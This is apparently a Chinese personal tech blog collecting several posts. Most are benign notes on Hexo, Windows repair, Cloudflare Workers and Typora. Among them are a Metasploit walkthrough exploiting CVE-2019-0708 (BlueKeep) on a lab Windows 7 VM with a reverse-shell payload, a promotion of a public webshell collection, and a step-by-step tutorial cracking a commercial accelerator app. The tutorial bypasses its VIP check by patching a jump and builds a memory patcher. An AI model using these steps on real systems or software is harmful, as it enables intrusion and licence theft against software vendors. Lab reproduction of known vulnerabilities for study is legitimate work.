upgrade hexo小记

更新一下blog

常年不更新,再次更新一下,看了看自己的hexo版本,尴尬啊,最新的hexo版本已经5.X了,而我的还是3.X。故GG之,看看如何能无损更新hexo版本,并成功发布此篇文章。

一顿操作猛如虎,直接gg之,给出连接地址Hexo版本升级指南

升级

1、全局升级hexo-cli,先hexo version查看当前版本,然后npm i hexo-cli -g,再次hexo version查看是否升级成功。

2、使用npm install -g npm-checknpm-check,检查系统中的插件是否有升级的,可以看到自己前面都安装了那些插件

3、使用npm install -g npm-upgradenpm-upgrade,升级系统中的插件

4、使用npm update -gnpm update --save

image-20210605155142172

报错

升级成功后,出现报错提示Cannot find module 'through',根据提示让尝试运行rm -rf node_modules && npm install --force,待运行结束,运行hexo version,输出正常。

开始写文档

hexo new "文章标题"默认生成一篇文章

用Typora来写,写好之后保存

运行命令hexo s -g,生成文章,并打开本地预览

打开网页 localhost:4000/

正常访问,样式文章也都正常。

运行命令hexo d -g,生成文章并部署到 github

SUCCESS

windows10 新建文件夹需要刷新才显示的处理办法

不晓得从何时起,windows10 新建文件夹和文件后不手动刷新时,就不显示,也不知道是不是win10的bug,故搜索一圈,留个备份,忘有类似的问题都可以来解决。

  1. 首先再管理员模式下运行命令:

    1
    dism /online /Cleanup-Image /StartComponentCleanup

    Snipaste_2020-03-12_01

  1. 运行扫描系统命令:

    1
    sfc /scannow

    Snipaste_2020-03-12_02

  2. 之后运行下列命令:

    1
    dism /Online /Cleanup-Image /RestoreHealth

    Snipaste_2020-03-12_03

  3. 最后再运行一次扫描系统:

    1
    sfc /scannow

    Snipaste_2020-03-12_04

  4. 重启系统。

以上命令是依次运行,上一条结束之后,再运行下一条。
本文参考文章:

win10在资源管理器创建、删除文件,修改文件名。需刷新才更新问题

webshell project

webshell

This project has started 5.3K.

Searching webshell on github is the number one project.

This is a webshell collection project to give people roses, and you have the fragrance. If you downloaded this project, please also submit your shell.
This project covers a variety of commonly used scripts such as: asp, aspx, php, jsp, pl, py

This kind of webshell, please do not change the name and password.

Note: All shells do not guarantee the existence of backdoors, but they will never be deliberately added by backdoors.

Do not add backdoors. If you find backdoor code, please issue.

The tools provided by this project are prohibited from engaging in illegal activities. This project is for testing only, and all the consequences caused by it are not relevant to me.

Extending a project:

  • webshell-venom
  • Unlimited Killing Webshell
  • Unlimited Generation Tool
  • Unwanted Killing Webshell Unlimited Generation Tool

Other webshell project (old):

  1. xl7dev/WebShell
  2. JohnTroony/php-webshells
  3. BlackArch/webshells
  4. LandGrey/webshell-detect-bypass
  5. JoyChou93/webshell
  6. bartblaze/PHP-backdoors
  7. WangYihang/Webshell-Sniper

By the way, a wave of website management tools:

  1. Cknife

  2. Altman

  3. xise

  4. Weevely

  5. quasibot

  6. Webshell-Sniper

  7. antsword

  8. ice scorpion

  9. webacoo

above in no particular order
Author: tennc http://tennc.github.io/webshell
license: GPL v3
Download link Check github releases.
Latest: https://github.com/tennc/webshell/releases

Thanks to cloudflare for sponsoring open source services

webshell start 突破5k

经过多年,webshell的start终于突破到了5000+,不容易.

不作恶,是根本.不忘初心,方得始终.

但是这么多年来,很少收到合并推送.

无语呀,而我自己也没有什么渠道来进行webshell的收集,有一些能收集webshell的大佬们,如果你们从我这个项目获得了一些webshell,也希望你们能反哺一下这个项目.

毕竟,独木难支.众人拾柴才能火焰高.

期待更多的大佬能分享一下webshell

用CloudFlare Workers搭建baidu镜像站

不多说开始搭建吧

从网上搜到了利用 cloudflare workers 来搭建一个网站的镜像。

链接:简单几步用Cloudflare Workers搭建WorkersProxy加速任意网站

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// List of domains bind to your WorkersProxy.
const domain_list = ['https://你的cloudflareWorker应用地址/']

// Website you intended to retrieve for users.
const upstream = 'https://需要加速的网站的地址/'

// Website you intended to retrieve for users using mobile devices.
const upstream_mobile = 'https://需要加速的网站移动端的地址/'

// Countries and regions where you wish to suspend your service.
const blocked_region = []

// IP addresses which you wish to block from using your service.
const blocked_ip_address = ['0.0.0.0', '10.0.0.0']

addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request));
})

async function fetchAndApply(request) {

const region = request.headers.get('cf-ipcountry').toUpperCase();
const ip_address = request.headers.get('cf-connecting-ip');
const user_agent = request.headers.get('user-agent');
let response = null;
let url = request.url;

if (await device_status(user_agent)){
upstream_domain = upstream
} else {
upstream_domain = upstream_mobile
}

for(let domain of domain_list) {
url = url.replace(domain, upstream_domain)
};

if (blocked_region.includes(region)) {
response = new Response('Access denied: WorkersProxy is not available in your region yet.', {
status: 403
});
} else if(blocked_ip_address.includes(ip_address)){
response = new Response('Access denied: Your IP address is blocked by WorkersProxy.', {
status: 403
});
} else{
let method = request.method;
let headers = request.headers;
response = fetch(url, {
method: method,
headers: headers
})
}
return response;
}

async function device_status (userAgentInfo) {
var Agents = ["Android", "iPhone", "SymbianOS", "Windows Phone", "iPad", "iPod"];
var flag = true;
for (var v = 0; v < Agents.length; v++) {
if (userAgentInfo.indexOf(Agents[v]) > 0) {
flag = false;
break;
}
}
return flag;
}

我在gist.github.com 在备份一份,免得丢失。

主要就是修改第31行和第32行,改成自己相应的网址就好。

1
2
3
4
5
6
7
8
// List of domains bind to your WorkersProxy.
const domain_list = ['https://你的cloudflareWorker应用地址/']

// Website you intended to retrieve for users.
const upstream = 'https://需要加速的网站的地址/'

// Website you intended to retrieve for users using mobile devices.
const upstream_mobile = 'https://需要加速的网站移动端的地址/'

改成下面的:

1
2
3
4
5
6
7
8
// List of domains bind to your WorkersProxy.
const domain_list = ['https://你的cloudflareWorker应用地址/']

// Website you intended to retrieve for users.
const upstream = 'https://www.baidu.com/'

// Website you intended to retrieve for users using mobile devices.
const upstream_mobile = 'https://https://www.baidu.com/'

ok,访问试一试,完全正常。

复现cve-2019-0708

前几天从公众号看到了cve-2019-0708 poc 非蓝屏poc发布出来了,遂跟着复现一下。

具体地址忘记了,就百度了一个 blog 大家随便看看

好了开始

先给出 poc地址

环境:vm 15

kali 最新版 ,win7 sp1 企业版(关闭防火墙,开启远程桌面服务)

  1. 下载msf 需要替换和添加的rb脚本

    1
    2
    3
    4
    wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb
    wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb
    wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
    wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
  2. 替换原msf里部分rb脚本

    1
    2
    3
    4
    rdp.rb   ->   /opt/metasploit-framework/embedded/framework/lib/msf/core/exploit/rdp.rb
    rdp_scanner.rb -> /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb
    cve_2019_0708_bluekeep.rb -> /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
    cve_2019_0708_bluekeep_rce.rb -> /opt/metasploit-framework/embedded/framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

这里强调一下,要把msf原有替换的rb脚本最好备份一下。

  1. 进入 msfconsole

    1567961143191

  2. 重载模块reload_all

    1567961179580

  3. 搜索cve_2019_0708_bluekeep_rce这个模块,关键词可以选择bluekeep或者0708

    1567961283984

  4. 使用这个exp,并查看相关信息

    1
    2
    3
    use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
    show options
    show info

    1567961479827

  5. 设置rhosts ip (其实就是被攻击的ip即win7的),设置目标系统,目标系统有5个选项,可以根据实际情况来选,我这里的win7 是vm的虚拟机,所以选择3

    1567961784177

    1567961812168

  6. 设置payload及LHOST(反弹回连的ip即kali的ip)

    set payload windows/x64/shell/reverse_tcp

    1567962053039

    1567962147797

  7. 再次运行一次options 看看设置参数

    1567962312957

  8. check检查下看看(其实也可以不用这一步,直接允许exploit或者run也可以)

    1567962415464

  9. 看到提示了,表示有漏洞,可以进行下一步

    1567962597512

  10. 至此,成功复现,注意win7版本,sp1 7601 不能是家庭版。

1567962697425

crack xx加速器

从52破解看到的 《某某某加速器第二期破解教程》,自己也跟着视频走了下,原作者用的od,我不会od,就用x64dbg试一试(说实话,我也不懂x64dbg)。

好了开始,我们从官网下载下载软件,发现更新了,5.1日更新。。不知道到时候能不能用视频里的方法搞一搞。

1.开始

1.1查壳

用Exeinfo pe 查到 是 Themida & WinLicense 2.0 - 2.4.6(新手一脸懵逼),去吾爱也找不到好的自动脱壳工具。故继续搞、、、

1556790795407

1.2x64dbg加载

加载后系统自动断点

需要用管理员权限打开x32dbg

1556791071954

1.3不用管,一直按f9 直到程序正常运行。

这个需要软件需要注册才能登录使用,也仅仅验证了注册登录,对是否为vip或者过期时间未进行二次验证。还有就是默认注册用户是有20分钟的无限使用时间。(登录后,等20分钟过期后在进行crack,要不然不会出现购买vip提示。vip提示为关键字,需要进行搜索)

就是这样,如下图

1556791340130

1.4接下来,我们点击日本任意一个线路,就会提示购买vip

1556791543160

1.5点击否,然后去x64dbg进行所有模块字符串搜索

1556792042421

速度较慢,估计需要10来秒的时间,此时可以喝杯水。

1556792281345

1.6搜索VIP,然后双击”S_MR:NV”==L”当前为VIP节点,是否购买VIP套餐?”前面的地址进行跳转

1556792563983

1.7F2断点,然后修改箭头指向的jne使其跳转。在内存窗口中转到选定的地址。然后双击85,提示修改。

1556792755002

2.开始crack

2.1还记得上一篇文章说过,85变84。

1556792884637

2.2打开程序,继续点击链接,x64dbg一路 F9

1556793024789

2.3然后,神器的事发生了。如图:

1556793153186

3.开始进行打补丁

3.1我用飘云阁的 PYG_Loader1.0.0.2 内存补丁工具进行patch。

1556793769942

3.2按照上面的步骤一次填写相关信息。

补丁地址那一栏为当初截图里说的重要跳,需要跳转的那个地址。

85 改 84。 基址为程序的开始地址,可以去x64dbg符号里,找到程序的基址。

然后生成。进行补丁测试。

成功的图就不放了。以后发文章只会发核心图,这次图太多拉。。

/(ㄒoㄒ)/~~

crack常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
软件破解常用汇编指令 
cmp a,b // 比较a与b
mov a,b // 把b值送给a值,使a=b
ret
// 返回主程序
nop
// 无作用
call
// 调用子程序,子程序以ret结尾
je或jz
// 相等则跳(机器码是74或84)
jne或jnz // 不相等则跳(机器码是75或85)
jmp
// 无条件跳(机器码是EB)
jb
// 若小于则跳
ja
// 若大于则跳
jg
// 若大于则跳
jge
// 若大于等于则跳
jl
// 若小于则跳
pop xxx // xxx出栈
push xxx // xxx压栈
★★破解经典句式★★
1.(最常用)
mov eax [ ] 方括号中填数字或代表数值的已定义的名称
mov edx [ ]
call 00?????? 关键call
test eax eax
jz(jnz)或 jne(je) 关键跳转
2 (最常用)
mov eax [ ]
mov edx [ ]
call 00?????? 关键call
jne(je)
关键跳转
3
mov eax [ ]
OD常用汇编指令集详解.txt[2016-08-27 09:49:03]
mov edx [ ]
cmp eax,edx
jnz(jz)
4
lea edi [ ]
lea esi [ ]
repz cmpsd
jz(jnz)
5
mov eax [ ]
mov edx [ ]
call 00??????
setz (setnz) al (bl,cl...)
6
mov eax [ ]
mov edx [ ]
call 00??????
test eax eax
setz (setnz) bl,cl...
7
call 00?????? ***
push eax (ebx,ecx...)
......
......
call 00??????
pop eax (ebx,ecx...)
test eax eax
jz(jnz)
一、数据传输指令
它们在存贮器和寄存器、寄存器和输入输出端口之间传送数据.
OD常用汇编指令集详解.txt[2016-08-27 09:49:03]
1. 通用数据传送指令.
MOV 传送字或字节. (mov ax 2把2放入寄存器)
MOVSX 先符号扩展,再传送.
MOVZX 先零扩展,再传送.
PUSH 把字压入堆栈.
POP 把字弹出堆栈.
PUSHA 把AX,CX,DX,BX,SP,BP,SI,DI依次压入堆栈.
POPA 把DI,SI,BP,SP,BX,DX,CX,AX依次弹出堆栈.
PUSHAD 把EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI依次压入堆栈.
POPAD 把EDI,ESI,EBP,ESP,EBX,EDX,ECX,EAX依次弹出堆栈.
BSWAP 交换32位寄存器里字节的顺序
XCHG 交换字或字节.( 至少有一个操作数为寄存器,段寄存器不可作为操作数)
CMPXCHG 比较并交换操作数.( 第二个操作数必须为累加器AL/AX/EAX )
XADD 先交换再累加.( 结果在第一个操作数里 )
XLAT 字节查表转换.
── BX 指向一张 256 字节的表的起点, AL 为表的索引值 (0-255,即
0-FFH); 返回 AL 为查表结果. ( [BX+AL]->AL )
2. 输入输出端口传送指令.
IN I/O端口输入. ( 语法: IN 累加器, {端口号│DX} )
OUT I/O端口输出. ( 语法: OUT {端口号│DX},累加器 )
输入输出端口由立即方式指定时, 其范围是 0-255; 由寄存器 DX 指定时,
其范围是 0-65535.
3. 目的地址传送指令.
LEA 装入有效地址.
例: LEA DX,string ;把偏移地址存到DX.
LDS 传送目标指针,把指针内容装入DS.
例: LDS SI,string ;把段地址:偏移地址存到DS:SI.
LES 传送目标指针,把指针内容装入ES.
例: LES DI,string ;把段地址:偏移地址存到ES:DI.
LFS 传送目标指针,把指针内容装入FS.
例: LFS DI,string ;把段地址:偏移地址存到FS:DI.
OD常用汇编指令集详解.txt[2016-08-27 09:49:03]
LGS 传送目标指针,把指针内容装入GS.
例: LGS DI,string ;把段地址:偏移地址存到GS:DI.
LSS 传送目标指针,把指针内容装入SS.
例: LSS DI,string ;把段地址:偏移地址存到SS:DI.
4. 标志传送指令.
LAHF 标志寄存器传送,把标志装入AH.
SAHF 标志寄存器传送,把AH内容装入标志寄存器.
PUSHF/PUSHFD 将EFLAGS压入栈.
操作码
指令
说明
9C
PUSHF 压入EFLAGS的低16位
9C PUSHFD 压入EFLAGS
POPF 标志出栈.
PUSHD 32位标志入栈.
POPD 32位标志出栈.
二、算术运算指令
ADD 加法. (add ax ax表示乘以ax的初始值)
ADC 带进位加法.
INC 加 1.
AAA 加法的ASCII码调整.
DAA 加法的十进制调整.
SUB 减法.
SBB 带借位减法.
DEC 减 1.
NEC 求反(以 0 减之).
CMP 比较.(两操作数作减法,仅修改标志位,不回送结果).
AAS 减法的ASCII码调整.
DAS 减法的十进制调整.
MUL 无符号乘法.
IMUL 整数乘法.
以上两条,结果回送AH和AL(字节运算),或DX和AX(字运算),
AAM 乘法的ASCII码调整.
DIV 无符号除法.
IDIV 整数除法.
OD常用汇编指令集详解.txt[2016-08-27 09:49:03]
以上两条,结果回送:
商回送AL,余数回送AH, (字节运算);
或 商回送AX,余数回送DX, (字运算).
AAD 除法的ASCII码调整.
CBW 字节转换为字. (把AL中字节的符号扩展到AH中去)
CWD 字转换为双字. (把AX中的字的符号扩展到DX中去)
CWDE 字转换为双字. (把AX中的字符号扩展到EAX中去)
CDQ 双字扩展. (把EAX中的字的符号扩展到EDX中去)
三、逻辑运算指令
AND 与运算/按位与.
(举例:OB11000100 AND OB01110010
的值为OB0100000,两者相同位置是0和1取0,1和1取1,0,0取0,当且仅当对应位都取1时结果为1)
OR 或运算/按位或.
(举例:10100101 OR 00001011
的值为10101111,两者相同位置是0和1取1,1和1取1,0,0取0,被比较对象的相应位置只要出现1就取1)
XOR 异或运算. (当A、B两个不同时结果为1,否则为0)
NOT 取反.
TEST 测试.(两操作数作与运算,仅修改标志位,不回送结果).
SHL 逻辑左移.
SAL 算术左移.(=SHL)
SHR 逻辑右移.
SAR 算术右移.(=SHR)
ROL 循环左移.
ROR 循环右移.
RCL 通过进位的循环左移.
RCR 通过进位的循环右移.
以上八种移位指令,其移位次数可达255次.
移位一次时, 可直接用操作码. 如 SHL AX,1.
移位>1次时, 则由寄存器CL给出移位次数.
如 MOV CL,04
SHL AX,CL
四、串指令
DS:SI 源串段寄存器 :源串变址.
OD常用汇编指令集详解.txt[2016-08-27 09:49:03]
ES:DI 目标串段寄存器:目标串变址.
CX 重复次数计数器.
AL/AX 扫描值.
D标志 0表示重复操作中SI和DI应自动增量; 1表示应自动减量.
Z标志 用来控制扫描或比较操作的结束.
MOVS 串传送.
( MOVSB 传送字符. MOVSW 传送字. MOVSD 传送双字. )
CMPS 串比较.
( CMPSB 比较字符. CMPSW 比较字. )
SCAS 串扫描.
把AL或AX的内容与目标串作比较,比较结果反映在标志位.
LODS 装入串.
把源串中的元素(字或字节)逐一装入AL或AX中.
( LODSB 传送字符. LODSW 传送字. LODSD 传送双字. )
STOS 保存串.
是LODS的逆过程.
REP
当CX/ECX<>0时重复.
REPE/REPZ 当ZF=1或比较结果相等,且CX/ECX<>0时重复.
REPNE/REPNZ 当ZF=0或比较结果不相等,且CX/ECX<>0时重复.
REPC
当CF=1且CX/ECX<>0时重复.
REPNC
当CF=0且CX/ECX<>0时重复.
五、程序转移指令
1>无条件转移指令 (长转移)
JMP 无条件转移指令
CALL 过程调用
RET/RETF过程返回.
RETN:
add sp,n(n为偶数)
ret
/* RET/RETN/RETF Return from procedure

variations/
operands bytes 8088 186 286 386 486 Pentium
retn 1 20 16 11+m 10+m 5 2 NP
retn imm16 1+d(2) 24 18 11+m 10+m 5 3 NP
retf 1 34 22 15+m 18+m 13 4 NP
retf imm16 1+d(2) 33 25 15+m 18+m 14 4 NP

RET is coded by the assembler as near or far based on the
procedure declaration and program model, as:

RETN (return near)
RETF (return far)

Example: ret

Protected Mode

variations/
operands bytes 286 386 486 Pentium
retf 1 25+m/55 32+m/62 18/33 4-13/23 NP
retf imm16 1+d(2) 25+m/55 32+m/68 17/33 4-13/23 NP

cycles for: same privilege level/lower privilege level */
2>条件转移指令 (短转移,-128到+127的距离内)
( 当且仅当(SF XOR OF)=1时,OP1<OP2 )
JA/JNBE 不小于或不等于时转移.
JAE/JNB 大于或等于转移.
OD常用汇编指令集详解.txt[2016-08-27 09:49:03]
JB/JNAE 小于转移.
JBE/JNA 小于或等于转移.
以上四条,测试无符号整数运算的结果(标志C和Z).
JG/JNLE 大于转移.
JGE/JNL 大于或等于转移.
JL/JNGE 小于转移.
JLE/JNG 小于或等于转移.
以上四条,测试带符号整数运算的结果(标志S,O和Z).
JE/JZ 等于转移.
JNE/JNZ 结果不为0时转移(JNZ/JNZ 地址).
JC 有进位时转移.
JNC 无进位时转移.
JNO 不溢出时转移.
JNP/JPO 奇偶性为奇数时转移.
JNS 符号位为 "0" 时转移.
JO 溢出转移.
JP/JPE 奇偶性为偶数时转移.
JS 符号位为 "1" 时转移.
3>循环控制指令(短转移)
LOOP CX不为零时循环(在实地址模式下使用16位CX寄存器而不是ECX寄存器作为计数器).
LOOPW: CX不为零时循环(在任何模式下都会使用16位CX寄存器作为计数器).
LOOPD CX不为零时循环(在任何模式下都会使用32位ECX寄存器作为计数器).
LOOPE/LOOPZ CX不为零且标志Z=1时循环.
LOOPNE/LOOPNZ CX不为零且标志Z=0时循环.
JCXZ CX为零时转移.
JECXZ ECX为零时转移.
4>中断指令
INT 中断指令
向CPU发送中断.
格式为INT vec.
vec为中断向量号,其值为0~255。CPU根据这个向量号去调用内核对应的中断例程。指令操作为:
(SP)←(SP)-2,((SP)+1:(SP))←(FR) (IF)←0,(TF)←0 (SP)←(SP)-2,
((SP)+1:(SP))←(CS) (SP)←(SP)-2,((SP)+1:(SP))←(IP) (CS)←(vec*4+2),
(IP)←(vec*4) INT vec 指令只影响IF和TF(将其置零).
INTO 溢出中断
IRET 中断返回
5>处理器控制指令
HLT 处理器暂停, 直到出现中断或复位信号才继续.
WAIT 当芯片引线TEST为高电平时使CPU进入等待状态.
OD常用汇编指令集详解.txt[2016-08-27 09:49:03]
ESC 转换到外处理器.
LOCK 封锁总线.
NOP 空操作.
STC 置进位标志位.
CLC 清进位标志位.
CMC 进位标志取反.
STD 置方向标志位.
CLD 清方向标志位.
STI 置中断允许位.
CLI 清中断允许位.
6>较不常见指令
DW :
[标号:]
DW 表达式[, 表达式...] 定义一列字数值。//////***方括号内的是可以没有的***//////
DD :
[标号:]
DD 表达式[, 表达式...] 定义一列双字型数值。//////***方括号内的是可以没有的***//////
DB :
[标号:]
DB 表达式[, 表达式...] 定义一列字节型数值DB 指令以表达式的值的字节形式初始化代码空间.
(格式: [标号:] DB 表达式表
表达式中可包含符号、字符串、或表达式等项,各个项之间用逗号隔开,字符串应用引号括起来。
括号内的标号是可选项,如果使用了标号,则标号的值将是表达式表中第一字节的地址。
DB 指令必须位于 CODE 段之内,否则将会发生错误.

TABLE:
DB 0C0H, 0F9H, 0A4H
TABLE1:
DB " WEINA ")//////***方括号内的是可以没有的***//////
bound 指令边界检查指令
可以分为16位或32位,下面以32位为例说明

bound dest , src
if( (dest < src[0] ) | (dest > src[1]) )
int 5 //触发int 5 异常,一般是由设定的SEH处理
endif

另:引用看雪上的一个回答,意思与此相同
bound ebp, qword ptr [ecx+6E]

cmp ebp, dword ptr [ecx+6Eh]
jge GoodBoy
cmp ebp, dword ptr [ecx+72h]
jle GoodBoy
int 05h
GoodBoy:

enter /leave 指令(enter cnt1, cnt2)其中cnt1表示框架的大小,即子程序中需要放在栈中局部变量的字节数,cnt2 是立即数,表示子程序嵌套级别,即从调用框架复制到当前框架的指针数。一般为0(这里什么原因还是不很清楚)

enter <------> push ebp

mov ebp,esp

sub esp,cnt1



leave <------->mov esp,ebp

pop ebp
七、伪指令
DW 定义字(2字节).
PROC 定义过程.
ENDP 过程结束.
SEGMENT 定义段.
ASSUME 建立段寄存器寻址.
ENDS 段结束.
END 程序结束.

转自:整理了一些汇编语言的指令供参考 52pojie.cn

Typora写文章

这是用Typora: 来写的md,可见即所得。

试一试插入图片看看~~

1556709431626

好了测试一下上传到blog看看是否正常。

这里是个坑,标记一下

首先,需要在Typora文件->偏好设置,图片插入的地方选择“拷贝到自定义路径”,因为其他几种方式都是拷贝到当前位置的assets或其他子目录下的,这样hexo肯定找不到。
所以你可以在source下建一个assets文件夹,并把拷贝路径设置到这里。

这样导致hexo能找到你网站的根目录下的assets,然而你图片在source目录下,这就尴尬了,我也卡在这里蛮久的。
下面点击编辑->图片工具->设置图片根目录,把目录设置到source,问题就解决啦

引自:关于Typora和hexo图片路径的问题https://blog.csdn.net/weixin_42474261/article/details/84476050

文章图片路径

Hexo如何方式图片,图片应该放置到哪里,不会应为上传而覆盖掉。然后把文章里的index.md删除,将文件存放在resource文件夹中间

1
2
3
4
$ hexo new page "resoures"
INFO Created: D:\Hexo\Hexo\source\resoures\index.md

然后把文章里的index.md删除,将文件存放在resource文件夹中间

引自文章图片路径https://luuman.github.io/2015/12/27/Hexo/Hexo/#文章图片路径

快捷生成加部署

1
hexo g -d
,